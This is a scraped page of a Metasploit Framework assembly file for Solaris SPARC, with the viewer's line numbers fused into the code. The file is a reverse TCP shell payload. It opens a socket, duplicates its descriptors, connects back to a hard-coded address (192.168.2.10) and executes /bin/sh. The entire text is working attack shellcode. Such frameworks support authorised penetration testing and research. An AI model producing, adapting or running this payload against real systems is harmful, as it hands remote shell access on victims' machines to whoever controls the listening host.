Path: blob/master/external/source/shellcode/solaris/sparc/single_reverse_tcp.s
24821 views
##1#2# Name: single_reverse_tcp3# Platforms: Solaris4# Authors: vlad902 <vlad902 [at] gmail.com>5# Version: $Revision: 1666 $6# License:7#8# This file is part of the Metasploit Exploit Framework9# and is subject to the same licenses and copyrights as10# the rest of this package.11#12# Description:13#14# Single reverse TCP shell.15#16##1718.globl main1920main:21andn %sp, 7, %sp2223mov 1, %o424xor %o3, %o3, %o325xor %o3, %o3, %o226mov 0x02, %o127mov 0x02, %o028mov 0xe6, %g129ta 0x083031st %o0, [ %sp - 0x08 ]32mov 3, %o233fcntl_loop:34mov 9, %o135subcc %o2, 1, %o236mov 0x3e, %g137ta 0x083839bnz fcntl_loop40ld [ %sp - 0x08 ], %o04142#ifndef NO_NULLS43set 0x00027a68, %l044#else45set 0x27a68fff, %l046srl %l0, 12, %l047#endif48set 0xc0a8020a, %l149std %l0, [ %sp - 0x10 ]50sub %sp, 16, %o151mov 0x10, %o252mov 0xeb, %g153ta 0x085455xor %o3, %o3, %o256set 0x2f62696e, %l057set 0x2f736800, %l158sub %sp, 0x10, %o059sub %sp, 0x08, %o160std %l0, [ %sp - 0x10 ]61st %o0, [ %sp - 0x08 ]62st %g0, [ %sp - 0x04 ]63mov 0x3b, %g164ta 0x08656667